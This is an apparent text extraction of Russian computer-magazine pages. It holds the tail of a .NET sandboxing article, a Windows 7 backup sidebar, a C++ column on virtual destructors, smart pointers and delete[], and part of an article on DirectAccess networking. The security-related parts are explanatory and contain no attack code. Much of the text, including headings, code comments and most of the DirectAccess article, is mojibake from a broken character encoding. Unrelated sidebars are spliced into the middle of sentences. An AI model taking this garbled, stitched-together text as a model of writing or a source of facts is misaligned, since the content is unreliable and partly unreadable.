SecurityPermission Perm;

Perm = new SecurityPermission

   (SecurityPermissionFlag.UnmanagedCode);

Perm.Deny();

ÇÀÊËÞ×ÅÍÈÅ
В рамках одной статьи затруднительно описать весь 
огромный набор средств, предоставленных для реали-
зации «песочницы», но, уверен, что основное пред-
ставление о поставленной задаче получено. Говорят, 
что технологии .NET развращают программиста. Часто 
приходится слышать: «все уже было сделано до нас». Та-
кая точка зрения абсолютно обоснована, однако всегда 
есть области, где для ума программиста остается свобода 
маневра. Удачного компилирования и да пребудет с 
тобой Сила! z
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НАСТРОЙКА PERMISSION SET ВРУЧНУЮ

ÎÑÍÎÂÍÀß ÇÀÄÀ×À ÄÎÌÅÍÀ 
ÏÐÈËÎÆÅÍÈß — ÎÁÅÑÏÅ×ÈÒÜ 
ÈÇÎËßÖÈÞ ÂÛÏÎËÍÅÍÈß 
ÊÎÄÀ.

warning 
Если приложение 
состоит из управляе-
мого кода (который 
гарантировано 
безопасен) и не 
вызывает неуправ-
ляемого кода, — нет 
никаких проблем 
с выполнением не-
скольких управляе-
мых приложений 
в одном процессе!

WARNING

В Windows 7, наконец-то, 
реализовали настоящую 
систему резервного копи-
рования данных. Не точки 
восстановления, а настоящий 
бэкап! Нет необходимости 
устанавливать для этого 
какие-то сомнительные сред-

ства — достаточно найти в 
панели управления раздел 
«Архивация и установление». 
Причем помимо создания 
обычного бэкапа с важными 
файлами и документами, 
инструмент предложит соз-
дать образ системы — пол-

ную копию системных дисков. 
Имея на руках такой бэкап, 
восстановление работоспо-
собности системы, даже если 
полностью умрет жесткий 
диск, превратится в легкую 
задачку на 15 минут. Правда, 
предварительно придется 

создать диск восстановления 
системы, с которого загру-
жается специальный мастер 
восстановления. Такой диск 
нужно создать заранее, а 
бэкапы хранить в безопасном 
месте — желательно, сетевом 
хранилище.

ФИШКИ WINDOWS 7: ВСТРОЕННОЕ РЕЗЕРВНОЕ КОПИРОВАНИЕ
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ÄÀÆÅ ÑÀÌÛÉ ÇÀßÄËÛÉ ÑÏÎÐÙÈÊ ÍÅ ÌÎÆÅÒ ÎÒÐÈÖÀÒÜ ÒÎÒ ÔÀÊÒ,
×ÒÎ ÏÐÈÏËÞÑÍÓÒÛÉ ÑÈ ÂÅËÈÊ È ÌÎÃÓ×. ÍÅÑÌÎÒÐß ÍÀ 
ÑÓÙÅÑÒÂÓÞÙÈÉ ÑÅÃÎÄÍß ØÈÐÎÊÈÉ ÀÑÑÎÐÒÈÌÅÍÒ ßÇÛÊÎÂ 
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß, ÁÎËÜØÈÍÑÒÂÎ ÏÐÎÃÐÀÌÌ ÏÎÄ 
WINDOWS ÍÀÏÈÑÀÍÎ ÈÌÅÍÍÎ ÍÀ ÍÅÌ. Â ÐÀÌÊÀÕ ÝÒÎÉ ÑÒÀÒÜÈ 
ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÒÐÈ ÌÎÃÓ×ÈÕ ÏÐÀÂÈËÀ, ÑÏÎÑÎÁÍÛÕ ÏÎÌÎ×Ü 
ÒÅÁÅ ÍÅ ÍÀÏÈÑÀÒÜ ÍÀ ÍÅÌ ÄÛÐßÂÓÞ ÏÐÎÃÐÀÌÌÓ.

òðè ïðàâèëà êîøåðíîãî êîäèíãà

ВИРМЭЕЙКЕРСКИЕ 
ТИПСЫ И ТРИКСЫ

CODING
 DEEONIS  DEEONIS@GMAIL.COM

ÏÐÀÂÈËÎ ¹1
Первое правило будет посвящено вирту-
альным функциям, а точнее — виртуальным 
деструкторам. Все мы знаем, для чего 
нужны эти самые виртуальные функции, но 
не все догадываются, зачем нужно делать 
виртуальным деструктор. Сразу начнем с 
примеров.

Допустим, решили мы написать базовый 
класс для отслеживания времени (назовем 
его TimeKeeper) и сделали много-много от 
него наследников. В программном коде это 
выглядит так:

TimeKepper и его потомки

class TimeKeeper 

{

public:

 TimeKeeper();

 ~TimeKeeper();

 ...

};

class AtomicClock: public 

TimeKeeper {...};

ÁÈÁËÈÎÒÅÊÀ TR1
TR1 («Technical Report 1») — ýòî ñïåöèôèêàöèÿ íîâîé 

ôóíêöèîíàëüíîñòè, äîáàâëåííîé â ñòàíäàðòíóþ áèáëèîòåêó 

C++. Îíà îôîðìëåíà â âèäå íîâûõ øàáëîíîâ êëàññîâ è ôóíê-

öèé, ïðåäíàçíà÷åííûõ äëÿ ðåàëèçàöèè õýø-òàáëèö, «èíòåë-

ëåêòóàëüíûõ» óêàçàòåëåé ñ ïîäñ÷åòîì ññûëîê, ðåãóëÿðíûõ 

âûðàæåíèé è ìíîãîãî äðóãîãî. Âñå êîìïîíåíòû TR1 íàõîäÿò-

ñÿ â ïðîñòðàíñòâå èìåí tr1, êîòîðîå âëîæåíî 

â ïðîñòðàíñòâî èìåí std.
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class WaterClock: public TimeKeeper {...};

class WristClock: public TimeKeeper {...};

Многие клиенты (под клиентом имеется в виду код, который исполь-
зует наши классы) захотят иметь простой способ доступа к данным 
о времени, не заботясь о деталях. В этом случае обычно используют 
так называемые фабричные функции. Они создают экземпляр нуж-
ного класса, а возвращают указатель на базовый. В нашем случае 
фабричная функция будет, например, создавать объект класса 
AtomicClock, а возвращать указатель на TimeKeeper. Как это хорошо 
и удобно, я тут рассказывать не буду, а вот проблемы, связанные с 
таким подходом, опишу подробно.
Итак, мы создали объект класса AtomicClock и используем его через 
указатель на TimeKeeper. После всего, что мы с ним сделали, он нам 
становится ненужен и объект надо удалить с помощью оператора 
delete. Выглядит это примерно так:

Работа с производным объектом

// Îáúÿâëåíèå ôàáðè÷íîé ôóíêöèè

TimeKeeper *getTimeKeeper();

...

// ïîëó÷àåì äèíàìè÷åñêè âûäåëåííûé îáúåêò

// èç èåðàðõèè TimeKeeper

TimeKeeper *ptk = getTimeKeeper();

…

delete ptk;

Теперь подумаем, что же тут не так. Подумал? Мы удаляем объ-
ект производного класса через указатель на базовый. То есть, при 
удалении объекта вызовется только деструктор базового класса 
TimeKeeper, а деструктор производного останется не у дел, вслед-
ствие чего удалится только часть объекта созданного фабричной 
функцией. 
Все данные, которые специфичны для AtomicClock, так и будут 
висеть в памяти мертвым грузом, и эту память нам уже никогда не 
удастся использовать. Произошло это только потому, что мы не сде-
лали деструктор виртуальным в базовом классе TimeKeeper.

Теперь все будет работать, как надо

class TimeKeeper {

public:

 TimeKeeper();

 // Îáúÿâëÿåì äåñòðóêòîð âèðòóàëüíûì

 virtual ~TimeKeeper();
        ...

};

TimeKeeper *ptk = getTimeKeeper();

...

delete ptk;

Из-за вот таких ошибок в программе появляются утечки па-
мяти. Помнишь, как прошлые версии браузера Mozilla FireFox 
занимали всю свободную оперативку? Возможно, как раз такая 
ошибка явилась одной из причин столь нехорошего поведения 
известного браузера. Но не стоит делать деструктор виртуаль-
ным во всех классах без разбора. Для реализации виртуальных 
функций необходимо, чтобы в объекте хранилась информация, 
которая во время исполнения позволяет определить, какая 
виртуальная функция должна быть вызвана. Эта информация 
совершенно логично занимает байты оперативной памяти, 
что в некоторых случаях бывает достаточно критичным или 
вовсе неприемлемым. Описывать такие ситуации я не буду, 
но поверь, они встречаются часто, и не стоит злоупотреблять 
виртуальностью.
В общем случае, деструктор следует объявлять виртуальным, если 
в классе присутствует хотя бы одна виртуальная функция. Хотя и 
тут есть свои исключения. Например, в стандартном классе string 
нет виртуальных функций, но некоторые программисты все-таки 
используют этот класс в качестве базового. Если где-то в программе 
мы преобразуем указатель на производный от std::string класс к 
базовому, а затем попытаемся удалить объект через этот указатель, 
то получим гарантированную утечку памяти.

std::string в качестве базового класса

class SpecialString: public std::string {

 ...

};

SpecialString *pss = 

  new SpecialString("Íàäâèãàþùàÿñÿ îïàñíîñòü!");

std::string *ps;

…

ps = pss;

...

// âîò òóò ïîëó÷àåì óòå÷êó ïàìÿòè

delete ps;

Надо помнить, что полиморфные базовые классы должны объ-
являть виртуальные деструкторы. Если класс имеет хотя бы одну 
виртуальную функцию, он должен иметь виртуальный деструктор. 
А в классах, непредназначенных для использования в качестве 

ÁÈÁËÈÎÒÅÊÀ BOOST
Boost — ýòî îðãàíèçàöèÿ, êîòîðàÿ ïðåäëàãàåò ïåðåîñìûñ-

ëåííûå, òùàòåëüíî ïðîâåðåííûå áèáëèîòåêè C++ ñ îòêðûòûì 

èñõîäíûì êîäîì. Áîëüøàÿ ÷àñòü TR1 áàçèðóåòñÿ íà ðàáîòå, 

âûïîëíåííîé Boost, è äî òåõ ïîð, ïîêà ïîñòàâùèêè êîìïè-

ëÿòîðîâ íå âêëþ÷àò TR1 â äèñòðèáóòèâû C++, Boost áóäåò 

îñòàâàòüñÿ äëÿ ðàçðàáîò÷èêîâ ãëàâíûì èñòî÷íèêîì ðåàëè-

çàöèé TR1. Boost ïðåäîñòàâëÿåò áîëüøå, ÷åì âêëþ÷åíî â 

TR1, îäíàêî â ëþáîì ñëó÷àå î íåì ïîëåçíî çíàòü.
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базовых или для полиморфного применения, не следует объявлять 
эти самые виртуальные деструкторы.

ÏÐÀÂÈËÎ ¹2
В предыдущем правиле для создания объектов, производных от 
TimeKeeper, мы использовали специальную фабричную функцию, 
которая создавала объект и возвращала указатель на него. По 
соглашению, код, вызывающий фабричную функцию, должен сам 
потом удалить объект, созданный ей. В идеале достаточно исполь-
зовать оператор delete после того, как объект перестанет быть нам 
нужным: 

Стандартный алгоритм работы 

с динамическими объектами

void f()

{

 // âûçîâ ôàáðè÷íîé ôóíêöèè

 TimeKeeper *ptk = getTimeKeeper();

 // èñïîëüçîâàíèå ptk

        ...

 // îñâîáîæäåíèå ïàìÿòè, çàíÿòîé îáúåêòîì

 delete ptk;

}

На первый взгляд все хорошо, но есть несколько случаев, когда f 
не удалит объект, полученный от getTimeKeeper. Где-нибудь внутри 
функции может встретиться оператор return. Если он будет выполнен, 
то управление никогда не достигнет оператора delete. Это может 
случиться, если фабричную функцию и delete поместить в цикл, и 
этот цикл будет прерван в результате выполнения continue или goto. 
Наконец, какая-либо из функций в коде может возбудить исключение 
и оператор delete опять не будет выполнен. Независимо от того, что 
произошло, delete будет пропущен, а мы потеряем не только память, 
выделенную для объекта, но и все ресурсы, которые он захватил.
Конечно, тщательное продумывание архитектуры кода и вниматель-
ное программирование может предотвратить ошибки подобного 
рода, но ведь написанный код придется со временем изменять или 
дополнять, и, возможно, это будет делать совсем другой человек. Он 
может не понять весь хитрый план с «return и delete» и просто вот-
кнуть где-нибудь оператор, обходящий стороной удаление объекта. 
Еще хуже, если некая функция внутри части «...» начнет неожидан-
но генерировать исключения, вследствие чего программа, отлично 
работавшая долгое время, начнет падать и глючить.
Чтобы обеспечить освобождение ресурса, возвращаемого фабрич-
ной функцией, нужно инкапсулировать этот ресурс внутри объекта, 
деструктор которого автоматически освободит его, когда управле-
ние покинет функцию f. Многие ресурсы динамически выделяются 
из «кучи», используются внутри функции и должны быть освобож-
дены, когда управление покидает эту функцию. Для таких ситуаций 
можно использовать класс стандартной библиотеки под названием 
auto_ptr. Он представляет собой так называемый «интеллекту-
альный указатель». Деструктор auto_ptr автоматически вызывает 
delete для того, на что он указывает. Вот как можно использовать 
auto_ptr для предотвращения утечек памяти в функции f:

Использование auto_ptr

void f()

{

    // âûçîâ ôàáðè÷íîé ôóíêöèè

    std::auto_ptr<TimeKeeper> ptk(getTimeKeeper());

    // èñïîëüçîâàíèå ptk êàê ðàíüøå

    ...

} 

// àâòîìàòè÷åñêîå óäàëåíèå ptk äåñòðóêòîðîì auto_ptr

Этот простой пример демонстрирует два наиболее важных аспекта 
применения объектов для управления ресурсами:
1. Ресурс захватывается и сразу преобразуется в объект, управляю-
щий им.
2. Управляющие ресурсами объекты используют свои деструкторы 
для гарантии освобождения ресурсов.
Поскольку auto_ptr автоматически удаляет то, на что указывает, 
важно, чтобы ни в какой момент времени на один ресурс не указы-
вало больше одного управляющего объекта. Оно и понятно, ведь 
если delete будет вызван дважды для одного и того же указателя, мы 
гарантировано получим ошибку в программе. Чтобы предотвратить 
такие ситуации при копировании (с помощью копирующих кон-
структоров или операторов присваивания), в auto_ptr внутренний 
указатель в старом объекте становится равным нулю, а новый объ-
ект получает ресурс в единоличное пользование.

Копирование auto_ptr

// ptk1 óêàçûâàåò íà îáúåêò, âîçâðàùàåìûé 

getTimeKeeper

std::auto_ptr<TimeKeeper> ptk1(getTimeKeeper());

// ptk2 òåïåðü óêàçûâàåò íà îáúåêò,

// à ptk1 ðàâåí null

std::auto_ptr<TimeKeeper> ptk2(ptk1);

// òåïåðü ptk1 óêàçûâàåò íà îáúåêò,

// à ptk2 ðàâåí null

ptk1 = ptk2;

Такое странное поведение при копировании не всегда подходит. К 
примеру, STL-контейнеры требуют, чтобы их содержимое при копи-
ровании вело себя «нормально», поэтому помещать в них объекты 
auto_ptr нельзя. В таких случаях нам помогут èíòåëëåêòóàëüíûå 
óêàçàòåëè ñ ïîäñ÷åòîì ññûëîê (reference-counting smart 

pointer – RCSP).

Они отслеживают, сколько объектов указывает на определенный 
ресурс, и автоматически удаляют ресурс, когда на него никто не 
ссылается. RCSP ведет себя почти так же, как сборщик мусора. 
Примером подобного интеллектуального указателя является класс 
tr1::shared_ptr из библиотеки TR1. Использование его ничем не 
отличается от auto_ptr, но зато при копировании он ведет себя 
гораздо более естественно.

Копирование shared_ptr

void f()

{

   ...

   // ptk1 óêàçûâàåò íà îáúåêò, âîçâðàùàåìûé getTimeKeeper  
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   std::tr1::shared_ptr<TimeKeeper> 

      ptk1(getTimeKeeper());

   // òåïåðü îáà îáúåêòà ptk1 è ptk2 óêàçûâàþò íà îáúåêò

   std::tr1::shared_ptr<TimeKeeper> ptk2(ptk1);

   ptk1 = ptk2; // íè÷åãî íå èçìåíèëîñü

   ...

}     

      // ptk1 è ptk2 óíè÷òîæåíû, à îáúåêò,

      // íà êîòîðûé îíè óêàçûâàëè,

      // àâòîìàòè÷åñêè óäàëåí

Поскольку копирование объектов tr1::shared_ptr работает «как 
положено», то они могут быть использованы в качестве элементов 
STL-контейнеров. Но не стоит уповать на shared_ptr и auto_ptr. Они 
лишь освобождают динамически выделенную память в своих де-
структорах с помощью оператора delete. Часто придется писать соб-
ственные объекты управления ресурсами. Так, ни один из вышеопи-
санных интеллектуальных указателей не может корректно работать 
с динамически выделенными массивами (подробнее об этом будет в 
правиле №3). Часто такие массивы можно заменить векторами или 
строками, но если сильно нужно использовать именно динамиче-
ские массивы, то обрати внимание на классы boost::scoped_array и 
boost::shared_array из библиотеки Boost.
Итак, из этого правила надо запомнить, что для предотвращения 
утечки ресурсов следует использовать управляющие объекты, ко-
торые захватывают ресурсы в своих конструкторах и освобождают в 
деструкторах. Два таких часто используемых класса — это auto_ptr и 
tr1::shared_ptr. Остановить свой выбор лучше на shared_ptr, так как 
он умеет подсчитывать ссылки на ресурс.

ÏÐÀÂÈËÎ ¹3
В правиле №2 я говорил, что auto_ptr и tr1::shared_ptr не умеют 
правильно работать с указателями на динамически выделенные 
массивы, то есть созданные с помощью оператора new. Все потому, 
что в своем деструкторе они вызывают delete. Рассмотрим неболь-
шой пример:

Создание и уничтожение массива

std::string *stringArray = new std::string[100];

...

delete stringArray;

На первый взгляд все отлично: мы выделили кусок из кучи под мас-
сив размером в 100 элементов, а затем вернули память обратно. Но 
на самом деле, как минимум, 99 из 100 объектов не будут корректно 
уничтожены вследствие выполнения этого кода. 
При использовании оператора new происходит два события: 
выделение определенного объема памяти и вызов одного или 
нескольких конструкторов. Для delete все выглядит аналогично — 
вызов одного или нескольких деструкторов и возвращение памяти 

системе. Ключевой момент здесь в том, что только программист 
знает, выделялась ли память для одного объекта или для целого 
массива. 
При резервировании памяти под массив объектов компилятор 
сохраняет еще и информацию о размерности этого массива. При 
освобождении памяти мы должны сообщить компилятору, что 
хотим удалить целый массив, а не один экземпляр объекта. Сде-
лать это достаточно просто — надо лишь вызвать delete[] вместо 
delete:

Правильная работа 

с динамической памятью

std::string *stringPtr1 = new std::string;

std::string *stringPtr2 = new std::string[100];

...

delete stringPtr1;

delete[] stringPtr2;

В примере все будет работать как надо, но если к stringPtr1 приме-
нить delete[], а к stringPtr2 — delete, то мы гарантировано получим 
баг. Правило тут достаточно простое: если память выделялась с 
помощью new[], то и удалять ее надо с помощью delete[].
Особое внимание на это надо обратить любителям директивы 
typedef. Автор определения типа должен документировать, какую 
форму delete использовать для удаления объектов объявленного им 
типа.

Коварный typedef

typedef std::string AddressLines[5];

std::string *pal = new AddressLines;

delete pal; // íåïðàâèëüíî

delete[] pal; // ïðàâèëüíî

Кстати, лучше вообще не использовать typedef для определения 
типов массивов. В подавляющем большинстве случаев есть пре-
красная замена в виде классов string и vector. Так, в примере выше, 
AddressLines можно было определить как вектор строк: 

vector<string>

Главное, что надо тут запомнить, — если в new использовать [], то и в 
delete тоже надо использовать []. И наоборот, если мы НЕ исполь-
зуем квадратные скобки [] в выражении new, то и в delete их не 
надо использовать. Это очень важно.

ЗАКЛЮЧЕНИЕ
В этом выпуске кодерских трюков мы рассмотрели лишь малую часть 
всяких секретов и подводных камней языка C++, но не огорчайся: с 
одной стороны, трех не сильно сложных правил будет достаточно, чтобы 
значительно уменьшить количество ошибок в программах, а с другой – 
мы продолжим в следующем номере! Оставайся на связи!  z
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В операционках от Microsoft, недавно ушедших «на золото», появилось 
несколько новых сетевых функций, способных упростить работу мобиль-
ных и филиальных пользователей, а также значительно улучшить произ-
водительность в загруженных сетях. В соответствии с концепцией Better 
Together новинки будут доступны только при «правильном» сочетании 
ОС, то есть когда в качестве клиентской системы будет выступать Win7, 
а серверной — Win2k8R2. 

Синхронный 
заплыв 
на дальнюю 
дистанцию

ПРОЗРАЧНЫЙ ДОСТУП К ВНУТРЕННЕЙ СЕТИ 
С DIRECTACCESS  Äîëãîå âðåìÿ äëÿ ïîäêëþ-

÷åíèÿ «èçâíå» ê ðåñóðñàì âíóòðåííåé ñåòè 
êîìïàíèè èñïîëüçîâàëèñü VPN-ïîäêëþ÷åíèÿ 

ïî ïðîòîêîëàì PPTP, L2TP, IPsec, SSTP, SSL, SSH. 
Íî ëè÷íûé îïûò ïîêàçûâàåò, ÷òî îäíè èç ðåøå-

íèé ñëîæíû â íàñòðîéêå, âòîðûå ïðîáëåìíî 
ðàáîòàþò ÷åðåç NAT-óñòðîéñòâà, òðåòüè äëÿ 
ïîäêëþ÷åíèÿ è ïåðåïîäêëþ÷åíèÿ òðåáóþò îò 

þçåðà âûïîëíåíèÿ îïðåäåëåííûõ äåéñòâèé è 
îæèäàíèÿ ïðîâåðêè ïîäëèííîñòè. Òåõíîëîãèÿ 
DirectAccess (www.microsoft.com/directaccess) 
âûïîëíÿåò ôóíêöèè VPN è óïðîùàåò ïðîöåññ 
ïîäêëþ÷åíèÿ óäàëåííîìó ïîëüçîâàòåëþ è íà-

ñòðîéêè àäìèíó. Êàê òîëüêî áóäåò îáíàðóæåíî 
ñîåäèíåíèå ñ èíòåðíåòîì, êëèåíò DirectAccess 
óñòàíàâëèâàåò ïîäêëþ÷åíèå ê êîðïîðàòèâíîé 

ñåòè â ôîíîâîì ðåæèìå, — àáñîëþòíî ïðî-
çðà÷íî äëÿ ïîëüçîâàòåëÿ è äàæå äî åãî âõîäà â 
ñèñòåìó. Â ñëó÷àå îáðûâà ñîåäèíåíèÿ ïåðåïîä-
êëþ÷åíèå ïðîèçâîäèòñÿ òàêæå àâòîìàòè÷åñêè. 
Òî åñòü, þçâåðü íå äîëæåí çàäóìûâàòüñÿ î òîì, 

êóäà íàæàòü è ÷òî äàëüøå äåëàòü. Êàê òîëüêî 
åìó ïîíàäîáèòñÿ èíôîðìàöèÿ èç óäàëåííîãî 
îôèñà, îí òóò æå åå ñìîæåò ïîëó÷èòü. Íå ìåíåå 

âàæíî, ÷òî èíòåðíåò-òðàôèê èäåò ïî ïðÿìîìó 
ïóòè, íå çàòðàãèâàÿ DirectAccess-ïîäêëþ÷åíèå. 
Áîëüøèíñòâî æå ðåàëèçàöèé VPN ïðîïóñêàþò 
÷åðåç ñåáÿ âåñü òðàôèê, â òîì ÷èñëå è âíåøíèé, 
÷òî óâåëè÷èâàåò íàãðóçêó íà êàíàë. Òàêàÿ âîç-
ìîæíîñòü â DirectAccess ðåàëèçóåòñÿ çà ñ÷åò èñ-
ïîëüçîâàíèÿ ìåõàíèçìà NRPT (Name Resolution 

Policy Table), êîòîðûé ïîçâîëÿåò óêàçàòü, êàêèå 
DNS-ñåðâåðà èñïîëüçîâàòü â êàêîì ñëó÷àå. 
Ïðè îáðàùåíèè ê êîðïîðàòèâíûì ðåñóðñàì 
êëèåíò íàïðàâèò çàïðîñ ê êîðïîðàòèâíîìó 
DNS-ñåðâåðó, â îñòàëüíûõ — ðàçðåøåíèå èìåí 

ïðîèçâîäèòñÿ îáû÷íûì îáðàçîì ÷åðåç DNS'û 
ïðîâàéäåðà. Èñïîëüçóÿ íàñòðîéêè, àäìèíèñò-
ðàòîð âîîáùå ìîæåò çàïðåòèòü èëè îãðàíè÷èòü 

âíåøíèé òðàôèê.
Òåõíîëîãèÿ DirectAccess ïîçâîëÿåò ãàðàíòè-
ðîâàòü, ÷òî âñå ïîäêëþ÷åíèÿ ñîîòâåòñòâóþò 
óñòàíîâëåííûì ïîëèòèêàì áåçîïàñíîñòè 
(íàëè÷èå ïîñëåäíèõ îáíîâëåíèé, àíòèâèðóñ-

íîãî ÏÎ è ò.ä.), äëÿ ýòîãî DirectAccess èíòåã-
ðèðóåòñÿ ñ òåõíîëîãèåé êîíòðîëÿ äîñòóïà ê 
ñåòè — Network Access Protection (ïîäðîáíåå 

î NAP ÷èòàé â äåêàáðüñêîì íîìåðå z çà 2008 

ãîä). Ñîåäèíåíèå óñòàíàâëèâàåòñÿ ñ èñïîëü-

çîâàíèåì ïðîòîêîëà IPsec è IPv6. Ïðîòîêîë 
IPsec äëÿ øèôðîâàíèÿ òðàôèêà èñïîëüçóåò 
àëãîðèòìû 3DES èëè AES. Ïðè íåîáõîäèìîñòè 
äëÿ àóòåíòèôèêàöèè ïîëüçîâàòåëÿ ìîãóò áûòü 
çàäåéñòâîâàíû ñìàðò-êàðòû. Ó÷èòûâàÿ, ÷òî 
IPv6 ïîêà íå ïîëó÷èë øèðîêîãî ðàñïðîñòðà-
íåíèÿ, à èñïîëüçîâàíèå IPsec ïî ðÿäó ïðè÷èí 
ìîæåò áûòü íåâîçìîæíî, DirectAccess, êðîìå 

«÷èñòîé» IPv6/IPsec ñðåäû, ïîääåðæèâàåò äðó-
ãèå ñåòåâûå ñöåíàðèè, îáåñïå÷èâàþùèå ðàáîòó 
áåç IPsec è/èëè IPv6; àâòîìàòè÷åñêè ïåðåáèðà-

þòñÿ âîçìîæíûå òóííåëè: IPv6-over-IPv4, 6to4, 
Teredo è, íàêîíåö, IP-HTTPS. Àäìèíèñòðàòîðû 
ìîãóò íàïðÿìóþ ïîäêëþ÷àòüñÿ ê êëèåíòñêèì 
ñèñòåìàì, èñïîëüçóþùèì DirectAccess, äëÿ 
óïðàâëåíèÿ èìè, äàæå åñëè ïîëüçîâàòåëü åùå 

íå âîøåë â ñèñòåìó. Êðîìå òîãî, DirectAccess 
ïðåäîñòàâëÿåò âîçìîæíîñòü ïî ìàêñèìóìó 
èñïîëüçîâàòü íîâèíêè, ïîÿâèâøèåñÿ â Win7 

— Federated Search (ïîèñê äàííûõ âî âíóòðåí-
íåé ñåòè), Folder Redirection (àâòîìàòè÷åñêàÿ 
ñèíõðîíèçàöèÿ ïàïîê íà íåñêîëüêèõ ñèñòåìàõ), 
öåíòðàëèçîâàííîå õðàíåíèå íàñòðîåê è äàííûõ 
ïîëüçîâàòåëÿ. Ïîäêëþ÷åíèå ïðîèçâîäèòñÿ 

ñëåäóþùèì îáðàçîì. Êëèåíò DirectAccess íà 

Windows 7 и Windows Server 2008 R2: новое 
в сетевых возможностях



êîìïüþòåðå ïîëüçîâàòåëÿ, ðàáîòàþùåãî ïîä óïðàâëåíèåì Win7, ïûòà-
åòñÿ ñîåäèíèòüñÿ ñ âíóòðåííèì âåá-ñåðâåðîì; åñëè îí ïîëó÷àåò äîñòóï, 
êëèåíò ïîíèìàåò, ÷òî íàõîäèòñÿ â èíòðàíåò, Ïðîöåññ èíèöèàëèçàöèè 
DirectAccess îñòàíàâëèâàåòñÿ. Èíà÷å — ïðîèçâîäèòñÿ ïîäêëþ÷åíèå ïî 
îäíîìó èç óêàçàííûõ âûøå ïðîòîêîëîâ (ïåðåáèðàþòñÿ ïîñëåäîâàòåëü-
íî) ñ ñåðâåðîì DirectAccess — Win2k8R2, êîòîðûé îäíîâðåìåííî ÿâëÿ-
åòñÿ øëþçîì, îáåñïå÷èâàþùèì äîñòóï ê ðåñóðñàì êîðïîðàòèâíîé ñåòè. 
Ïðè ýòîì ñ èñïîëüçîâàíèåì IPsec ESP (Encapsulating Security Payload, 
èíêàïñóëÿöèÿ çàøèôðîâàííûõ äàííûõ) óñòàíàâëèâàåòñÿ äâà òóííåëü-
íûõ ñîåäèíåíèÿ:
• òóííåëü, ñîåäèíÿþùèé êëèåíòñêóþ ñèñòåìó ñ DNS-ñåðâåðîì è êîíòðîë-
ëåðîì äîìåíà, íàõîäÿùèìñÿ â êîðïîðàòèâíîé ñåòè, ïîäíèìàåòñÿ äî âõî-
äà ïîëüçîâàòåëÿ â ÎÑ è îáåñïå÷èâàåò ïðèìåíåíèå ãðóïïîâûõ ïîëèòèê. 
Äëÿ îáåñïå÷åíèÿ ñîåäèíåíèÿ èñïîëüçóåòñÿ ñåðòèôèêàò êîìïüþòåðà.
• òóííåëü, îáåñïå÷èâàþùèé äîñòóï ïîëüçîâàòåëÿ ê ðåñóðñàì âíóòðåííåé 
ñåòè; ïðè ñîåäèíåíèè èñïîëüçóþòñÿ ñåðòèôèêàòû êîìïüþòåðà è ó÷åòíûõ 
äàííûõ çàðåãèñòðèðîâàâøåãîñÿ ïîëüçîâàòåëÿ.
Íàñòðîéêè íà ñåðâåðå DirectAccess ïîçâîëÿþò êîíòðîëèðîâàòü ðåñóðñû è 
ïðèëîæåíèÿ, ê êîòîðûì ìîæåò ïîëó÷èòü äîñòóï ïîëüçîâàòåëü.
Â çàâèñèìîñòè îò èñïîëüçóåìûõ ïðîòîêîëîâ è íàëè÷èÿ â ñåòè ñåðâåðîâ 
Win2k8, êëèåíòû ìîãóò ïîäêëþ÷èòüñÿ ê êîðïîðàòèâíîé ñåòè îäíèì èç 
äâóõ ñïîñîáîâ:
• End-to-End — ïðîèçâîäèòñÿ ïðîçðà÷íîå çàùèùåííîå ïîäêëþ÷åíèå 
÷åðåç ñåðâåð DirectAccess ê êàæäîìó âíóòðåííåìó ñåðâåðó, ê êîòîðîìó 
èìåþòñÿ ïðàâà äîñòóïà (êàê äîìåííûå, òàê è ïðåäîñòàâëåííûå ñåðâåðîì 
DirectAccess). Ýòîò ñïîñîá ñ÷èòàåòñÿ íàèáîëåå áåçîïàñíûì, íî âîçìîæåí 
òîëüêî ïðè èñïîëüçîâàíèè âíóòðè ñåòè ïðîòîêîëîâ IPv6 è IPsec, â êà÷åñò-
âå ñåðâåðíûõ ÎÑ ïîäõîäÿò òîëüêî Win2k8 è Win2k8R2.
• End-to-Edge — ìåíåå çàùèùåííûé âàðèàíò. Â ýòîì ñëó÷àå êëèåíò 

óñòàíàâëèâàåò çàùèùåííîå ïîäêëþ÷åíèå ñî øëþçîì IPsec (ìîæåò áûòü 

è øëþçîì DirectAccess), êîòîðûé óæå îáåñïå÷èâàåò äîñòóï ê ñåðâåðàì 
âíóòðè ñåòè. Âíóòðåííèé òðàôèê íå øèôðóåòñÿ (êàê è â VPN), ïîýòîìó 
òàêîé âàðèàíò ñ÷èòàåòñÿ ìåíåå áåçîïàñíûì, íî äëÿ åãî ðåàëèçàöèè íåò 
íåîáõîäèìîñòè ïåðåâîäèòü èíòðàíåò íà IPv6, à ñåðâåðà — íà Win2k8R2.
Âî ìíîãèõ îðãàíèçàöèÿõ èñïîëüçóþòñÿ ñåðâåðíûå ÎÑ ðàçíîãî ïîêîëå-
íèÿ, è âàðèàíò End-to-Edge, âåðîÿòíî, áóäåò ïîêà íàèáîëåå âîñòðåáîâàí. 
Ïîìèìî ïðî÷åãî, îí íå òðåáóåò èçìåíåíèÿ ñòðóêòóðû è íàñòðîåê âî 
âíóòðåííåé ñåòè è áîëåå ïðîñò â ðàçâåðòûâàíèè. Äëÿ ïîâûøåíèÿ äîñòóï-
íîñòè â ñåòè âîçìîæíî èñïîëüçîâàíèå íåñêîëüêèõ ñåðâåðîâ DirectAccess ñ 
áàëàíñèðîâêîé íàãðóçêè.
Ïîñêîëüêó ïðèìåíåíèå DirectAccess äëÿ âíåäîìåííûõ êîìïüþòåðîâ íå-
âîçìîæíî, ñòîèò îòìåòèòü íîâóþ ôóíêöèþ ñåìåðêè — «VPN Reconnect», 
êîòîðàÿ áóäåò ïîëåçíà, êîãäà èñïîëüçóåòñÿ VPN. Â ñëó÷àå îòêëþ÷åíèÿ îò 
ñåòè, ñîåäèíåíèå áóäåò ïðîèçâåäåíî àâòîìàòè÷åñêè è ïðîçðà÷íî, ÷òî 
î÷åíü àêòóàëüíî äëÿ ïîëüçîâàòåëåé ìîáèëüíûõ êîìïüþòåðîâ, ðàáîòàþ-
ùèõ ÷åðåç WiFi. Äëÿ îïðåäåëåíèÿ ïîäêëþ÷åíèÿ èñïîëüçóåòñÿ ðàñøèðå-
íèå IKEv2 (Internet Key Exchange) ê IPsec.

РАЗВЕРТЫВАНИЕ END-TO-EDGE DIRECTACCESS ×òîáû óñòàíîâèòü 

DirectAccess, ïîíàäîáèòñÿ ñåðâåð ïîä óïðàâëåíèåì ÎÑ Win2k8R2, 
êëèåíòñêèå ñèñòåìû — òîëüêî Win7/2k8R2. Íà äðóãèõ êîìïîíåíòàõ 

